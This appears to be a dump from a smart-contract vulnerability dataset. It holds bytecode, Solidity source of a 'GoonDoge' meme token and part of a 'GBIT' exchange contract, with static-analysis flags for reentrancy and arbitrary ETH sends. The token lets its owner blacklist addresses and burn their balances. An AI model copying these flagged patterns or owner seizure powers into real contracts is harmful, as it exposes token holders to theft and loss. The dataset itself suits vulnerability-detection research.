b919e509c509a509598509396509194505050505091939550919395565b600061091283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc2565b6000806111b28385611731565b9050838110156109125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b600061120e610f6a565b9050600061121c8383611317565b3060009081526002602052604090205490915061123990826111a5565b30600090815260026020526040902055505050565b60055461125b9083611163565b60055560065461126b90826111a5565b6006555050565b600080808061128c60646112868989611317565b906108d0565b9050600061129f60646112868a89611317565b905060006112b7826112b18b86611163565b90611163565b9992985090965090945050505050565b60008080806112d68886611317565b905060006112e48887611317565b905060006112f28888611317565b90506000611304826112b18686611163565b939b939a50919850919650505050505050565b60008261132657506000610348565b600061133283856115e5565b90508261133f858361170f565b146109125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b600060208083528351808285015260005b818110156113c3578581018301518582016040015282016113a7565b818111156113d5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461074d57600080fd5b6000806040838503121561141357600080fd5b823561141e816113eb565b946020939093013593505050565b60008060006060848603121561144157600080fd5b833561144c816113eb565b9250602084013561145c816113eb565b929592945050506040919091013590565b60006020828403121561147f57600080fd5b8135610912816113eb565b60006020828403121561149c57600080fd5b5035919050565b600080604083850312156114b657600080fd5b82356114c1816113eb565b915060208301356114d1816113eb565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561152d578160001904821115611513576115136114dc565b8085161561152057918102915b93841c93908002906114f7565b509250929050565b60008261154457506001610348565b8161155157506000610348565b816001811461156757600281146115715761158d565b6001915050610348565b60ff841115611582576115826114dc565b50506001821b610348565b5060208310610133831016604e8410600b84101617156115b0575081810a610348565b6115ba83836114f2565b80600019048211156115ce576115ce6114dc565b029392505050565b600061091260ff841683611535565b60008160001904831182151516156115ff576115ff6114dc565b500290565b60006020828403121561161657600080fd5b8151610912816113eb565b60008060006060848603121561163657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166157600080fd5b8151801515811461091257600080fd5b600082821015611683576116836114dc565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116ee5784516001600160a01b0316835293830193918301916001016116c9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611744576117446114dc565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cd5fd0f3053ba8f74d14293e823fee03b4d66a5581ba349103cdc29ee2e58fe164736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,846
0x5b336Ae99FB2c410e18acfC72C5baA0A1fb1C430
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GoonDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Goon Doge Inu\xF0\x9F\x92\xB8"; string private constant _symbol = "gDoge\xF0\x9F\x92\xB8"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10 ** 12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; address private burnAddress = 0x000000000000000000000000000000000000dEaD; // Bot detection address[] private botArray; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) public { _marketingFunds = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingFunds.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _marketingFunds); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingFunds); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; botArray.push(bots_[i]); } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function burnBots() public onlyOwner { for (uint256 i = 0; i < botArray.length; i ++) { if (bots[botArray[i]]) { _transfer(botArray[i], burnAddress, balanceOf(botArray[i])); } } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101485760003560e01c8063715018a6116100c0578063c3c8cd8011610074578063d543dbeb11610059578063d543dbeb146104d7578063dd62ed3e14610501578063fe598ba11461053c5761014f565b8063c3c8cd80146104ad578063c9567bf9146104c25761014f565b806395d89b41116100a557806395d89b41146103af578063a9059cbb146103c4578063b515566a146103fd5761014f565b8063715018a6146103695780638da5cb5b1461037e5761014f565b8063273123b7116101175780635932ead1116100fc5780635932ead1146102f55780636fc3eaec1461032157806370a08231146103365761014f565b8063273123b714610295578063313ce567146102ca5761014f565b806306fdde0314610154578063095ea7b3146101de57806318160ddd1461022b57806323b872dd146102525761014f565b3661014f57005b600080fd5b34801561016057600080fd5b50610169610551565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a357818101518382015260200161018b565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506102176004803603604081101561020157600080fd5b506001600160a01b038135169060200135610588565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105a6565b60408051918252519081900360200190f35b34801561025e57600080fd5b506102176004803603606081101561027557600080fd5b506001600160a01b038135811691602081013590911690604001356105b3565b3480156102a157600080fd5b506102c8600480360360208110156102b857600080fd5b50356001600160a01b031661063a565b005b3480156102d657600080fd5b506102df6106c5565b6040805160ff9092168252519081900360200190f35b34801561030157600080fd5b506102c86004803603602081101561031857600080fd5b503515156106ca565b34801561032d57600080fd5b506102c861076d565b34801561034257600080fd5b506102406004803603602081101561035957600080fd5b50356001600160a01b03166107a1565b34801561037557600080fd5b506102c86107c3565b34801561038a57600080fd5b50610393610884565b604080516001600160a01b039092168252519081900360200190f35b3480156103bb57600080fd5b50610169610893565b3480156103d057600080fd5b50610217600480360360408110156103e757600080fd5b506001600160a01b0381351690602001356108ca565b34801561040957600080fd5b506102c86004803603602081101561042057600080fd5b81019060208101813564010000000081111561043b57600080fd5b82018360208201111561044d57600080fd5b8035906020019184602083028401116401000000008311171561046f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108de945050505050565b3480156104b957600080fd5b506102c8610a09565b3480156104ce57600080fd5b506102c8610a46565b3480156104e357600080fd5b506102c8600480360360208110156104fa57600080fd5b5035610ebd565b34801561050d57600080fd5b506102406004803603604081101561052457600080fd5b506001600160a01b0381358116916020013516610fd4565b34801561054857600080fd5b506102c8610fff565b60408051808201909152601181527f476f6f6e20446f676520496e75f09f92b8000000000000000000000000000000602082015290565b600061059c61059561111d565b8484611121565b5060015b92915050565b683635c9adc5dea0000090565b60006105c084848461120d565b610630846105cc61111d565b61062b85604051806060016040528060288152602001611e53602891396001600160a01b038a1660009081526004602052604081209061060a61111d565b6001600160a01b0316815260208101919091526040016000205491906115ef565b611121565b5060019392505050565b61064261111d565b6000546001600160a01b039081169116146106a4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600990565b6106d261111d565b6000546001600160a01b03908116911614610734576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60108054911515600160b81b027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600e546001600160a01b031661078161111d565b6001600160a01b03161461079457600080fd5b4761079e81611686565b50565b6001600160a01b0381166000908152600260205260408120546105a0906116c0565b6107cb61111d565b6000546001600160a01b0390811691161461082d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031690565b60408051808201909152600981527f67446f6765f09f92b80000000000000000000000000000000000000000000000602082015290565b600061059c6108d761111d565b848461120d565b6108e661111d565b6000546001600160a01b03908116911614610948576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a05576001600c600084848151811061096657fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600b8282815181106109b357fe5b602090810291909101810151825460018082018555600094855292909320909201805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909316929092179091550161094b565b5050565b600e546001600160a01b0316610a1d61111d565b6001600160a01b031614610a3057600080fd5b6000610a3b306107a1565b905061079e81611720565b610a4e61111d565b6000546001600160a01b03908116911614610ab0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601054600160a01b900460ff1615610b0f576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b659030906001600160a01b0316683635c9adc5dea00000611121565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9e57600080fd5b505afa158015610bb2573d6000803e3d6000fd5b505050506040513d6020811015610bc857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c1857600080fd5b505afa158015610c2c573d6000803e3d6000fd5b505050506040513d6020811015610c4257600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cac57600080fd5b505af1158015610cc0573d6000803e3d6000fd5b505050506040513d6020811015610cd657600080fd5b50516010805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03928316179055600f541663f305d7194730610d15816107a1565b600080610d20610884565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d8b57600080fd5b505af1158015610d9f573d6000803e3d6000fd5b50505050506040513d6060811015610db657600080fd5b505060108054674563918244f400006011557fffffffffffffffff00ffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909116600160b01b1716600160a01b1790819055600f54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e8e57600080fd5b505af1158015610ea2573d6000803e3d6000fd5b505050506040513d6020811015610eb857600080fd5b505050565b610ec561111d565b6000546001600160a01b03908116911614610f27576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610f7c576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610f9a6064610f94683635c9adc5dea0000084611907565b90611960565b601181905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61100761111d565b6000546001600160a01b03908116911614611069576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b600b5481101561079e57600c6000600b838154811061108757fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561111557611115600b82815481106110c457fe5b600091825260209091200154600a54600b80546001600160a01b0393841693909216916111109190869081106110f657fe5b6000918252602090912001546001600160a01b03166107a1565b61120d565b60010161106c565b3390565b6001600160a01b0383166111665760405162461bcd60e51b8152600401808060200182810382526024815260200180611ec96024913960400191505060405180910390fd5b6001600160a01b0382166111ab5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e106022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112525760405162461bcd60e51b8152600401808060200182810382526025815260200180611ea46025913960400191505060405180910390fd5b6001600160a01b0382166112975760405162461bcd60e51b8152600401808060200182810382526023815260200180611dc36023913960400191505060405180910390fd5b600081116112d65760405162461bcd60e51b8152600401808060200182810382526029815260200180611e7b6029913960400191505060405180910390fd5b6112de610884565b6001600160a01b0316836001600160a01b0316141580156113185750611302610884565b6001600160a01b0316826001600160a01b031614155b1561159257601054600160b81b900460ff161561141e576001600160a01b038316301480159061135157506001600160a01b0382163014155b801561136b5750600f546001600160a01b03848116911614155b80156113855750600f546001600160a01b03838116911614155b1561141e57600f546001600160a01b031661139e61111d565b6001600160a01b031614806113cd57506010546001600160a01b03166113c261111d565b6001600160a01b0316145b61141e576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60115481111561142d57600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561146f57506001600160a01b0382166000908152600c602052604090205460ff16155b61147857600080fd5b6010546001600160a01b0384811691161480156114a35750600f546001600160a01b03838116911614155b80156114c857506001600160a01b03821660009081526005602052604090205460ff16155b80156114dd5750601054600160b81b900460ff165b15611525576001600160a01b0382166000908152600d6020526040902054421161150657600080fd5b6001600160a01b0382166000908152600d60205260409020603c420190555b6000611530306107a1565b601054909150600160a81b900460ff1615801561155b57506010546001600160a01b03858116911614155b80156115705750601054600160b01b900460ff165b156115905761157e81611720565b47801561158e5761158e47611686565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d457506001600160a01b03831660009081526005602052604090205460ff165b156115dd575060005b6115e9848484846119a2565b50505050565b6000818484111561167e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164357818101518382015260200161162b565b50505050905090810190601f1680156116705780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a05573d6000803e3d6000fd5b60006006548211156117035760405162461bcd60e51b815260040180806020018281038252602a815260200180611de6602a913960400191505060405180910390fd5b600061170d6119c7565b90506117198382611960565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061176157fe5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117b557600080fd5b505afa1580156117c9573d6000803e3d6000fd5b505050506040513d60208110156117df57600080fd5b50518151829060019081106117f057fe5b6001600160a01b039283166020918202929092010152600f546118169130911684611121565b600f546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156118b557818101518382015260200161189d565b505050509050019650505050505050600060405180830381600087803b1580156118de57600080fd5b505af11580156118f2573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b600082611916575060006105a0565b8282028284828161192357fe5b04146117195760405162461bcd60e51b8152600401808060200182810382526021815260200180611e326021913960400191505060405180910390fd5b600061171983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ea565b806119af576119af611a4f565b6119ba848484611a76565b806115e9576115e9611b6b565b60008060006119d4611b77565b90925090506119e38282611960565b9250505090565b60008183611a395760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561164357818101518382015260200161162b565b506000838581611a4557fe5b0495945050505050565b600854158015611a5f5750600954155b15611a6957611a74565b600060088190556009555b565b600080600080600080611a8887611bbc565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611aba9087611c19565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ae99086611c5b565b6001600160a01b038916600090815260026020526040902055611b0b81611cb5565b611b158483611cff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea00000611b938282611960565b821015611bb257600654683635c9adc5dea00000935093505050611bb8565b90925090505b9091565b6000806000806000806000806000611bd98a600854600954611d23565b9250925092506000611be96119c7565b90506000806000611bfc8e878787611d72565b919e509c509a509598509396509194505050505091939550919395565b600061171983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ef565b600082820183811015611719576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611cbf6119c7565b90506000611ccd8383611907565b30600090815260026020526040902054909150611cea9082611c5b565b30600090815260026020526040902055505050565b600654611d0c9083611c19565b600655600754611d1c9082611c5b565b6007555050565b6000808080611d376064610f948989611907565b90506000611d4a6064610f948a89611907565b90506000611d6282611d5c8b86611c19565b90611c19565b9992985090965090945050505050565b6000808080611d818886611907565b90506000611d8f8887611907565b90506000611d9d8888611907565b90506000611daf82611d5c8686611c19565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b43e66ddc8e7e81389884c497e8de8847577f39bf480ff024b4fecde2f64f29264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,847
0x9e1a813ee8ac44d581b241605d7d9eb99af89f09
pragma solidity ^0.4.19; contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint c = a + b; assert(c >= a && c >= b); return c; } } contract ERC20Interface { // Get the total token supply function totalSupply() public constant returns (uint256 totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. // this function is required for some DEX functionality function approve(address _spender, uint256 _value) public returns (bool success); // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract GBT is ERC20Interface { uint256 public expirationBlock; function isActive(address _owner) public returns (bool activated); } contract GBIT is SafeMath { address public admin = 0xb772725c0e453aF4c93fcD00A4cF005C73889126; //the admin address address public feeAccount = 0xe04F320bCc0e8796e2e6092B3796C722a1220Bf5; //the account that will receive fees address public gbtAddress = 0xe04F320bCc0e8796e2e6092B3796C722a1220Bf5; uint256 public makeFee = 0; //percentage times (1 ether) uint256 public takeFee = 1; //percentage times (1 ether) uint256 public lastFreeBlock = 500000000; mapping (bytes32 => uint256) public sellOrderBalances; //a hash of available order balances holds a number of tokens mapping (bytes32 => uint256) public buyOrderBalances; //a hash of available order balances. holds a number of eth event MakeBuyOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, uint256 weiAmount, address indexed buyer); event MakeSellOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, uint256 weiAmount, address indexed seller); event CancelBuyOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, uint256 weiAmount, address indexed buyer); event CancelSellOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, uint256 weiAmount, address indexed seller); event TakeBuyOrder(bytes32 orderHash, address indexed token, uint256 tokenAmount, 